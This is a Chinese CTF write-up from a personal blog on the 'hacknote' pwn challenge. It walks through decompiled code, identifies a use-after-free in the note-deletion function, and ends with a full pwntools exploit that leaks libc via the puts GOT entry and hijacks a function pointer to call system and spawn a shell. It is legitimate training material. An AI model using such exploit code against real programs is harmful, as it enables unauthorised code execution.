mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
270 字
1 分钟
4.3考核wp
2026-04-03

查看题目文件保护发现:

[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work2/43/hacknote_patched'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8044000)
RUNPATH: b'.'

发现这个是一个 32位程序,存在栈金丝雀,同时got表可写

将程序拖入ida之中, 发现这是一个菜单程序,用户输入不同选项有不同的操作

  • 1 malloc 操作从堆中创建一个空间,初始下标为1
  • 2 delete 删除指定下标的空间
  • 3 print 打印控件中的内容

通过分析可以发现

unsigned int addnote()
{
int v0; // ebx
int n4; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( n5 <= 5 )
{
for ( n4 = 0; n4 <= 4; ++n4 )
{
if ( !*(&ptr + n4) )
{
*(&ptr + n4) = malloc(8u); // A
if ( !*(&ptr + n4) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + n4) = puts_w; // B
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + n4);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + n4) + 1) ) // C
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + n4) + 1), size);
puts("Success !");
++n5;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

可以发现在 A 处可以发现程序申请了一个 大小为8字节的堆空间,从 B,C 发现程序将申请的堆空间分类两个个部分前4个字节用于存放puts的地址, 后4个字节用于存放字符串的指针

所以可以推断出这个申请堆块的结构

struct _m
{
void (*funcPtr)(char* arg)
char* content // size -> size malloc
}

而从这里可以看到 这里程序 调用 _m -> funcPtr(_m -> content) 来打印结构体

unsigned int printnote()
{
int n5; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
n5 = atoi(buf);
if ( n5 < 0 || n5 >= ::n5 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + n5) )
(*(void (__cdecl **)(_DWORD))*(&ptr + n5))(*(&ptr + n5));
return __readgsdword(0x14u) ^ v3;
}

从delete 函数可以知道 这里存在一个 Uaf

unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= n5 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

所以我们可以通过 Uaf 来控制chunk的内容。

IMPORTANT

于是得到如下exp

from pwn import *
FILE = "./hacknote_patched"
context.log_level = "debug"
context.binary = FILE
elf = ELF(FILE)
rop = ROP(elf)
libc = ELF("./libc.so.6")
p = process(FILE)
# raw_input(f"pwndbg -p {p.pid}")
_puts_w = 0x804862B
def Addnote(size: bytes, content: bytes):
global p
p.recvuntil(b"Your choice :")
p.send(b"1")
p.recvuntil(b"Note size :")
p.send(size)
p.recvuntil(b"Content :")
p.send(content)
def deleteNote(index: bytes):
global p
p.recvuntil(b"Your choice :")
p.send(b"2")
p.recvuntil(b"Index :")
p.send(index)
def printNote(index: bytes):
global p
p.recvuntil(b"Your choice :")
p.send(b"3")
p.recvuntil(b"Index :")
p.send(index)
log.success(f"puts addr :{hex(elf.got["puts"])}")
Addnote(b"32", b'a')
Addnote(b"32", b'a')
deleteNote(b"0")
deleteNote(b"1")
payload = flat(
[
p32(_puts_w),
p32(elf.got['puts'])
]
)
Addnote(b"8", payload)
printNote(b"0")
leak = u32(p.recv(4)) - libc.sym['puts']
libc.address = leak
log.success(f"libcBase : {hex(libc.address)}")
log.info("get shell")
deleteNote(b"2")
payload = flat(
[
p32(libc.sym['system']),
b"||sh"
]
)
Addnote(b"8", payload)
printNote(b"0")
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

4.3考核wp
https://yoyolp.github.io/posts/other/43kh/
作者
超级玉米人
发布于
2026-04-03
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录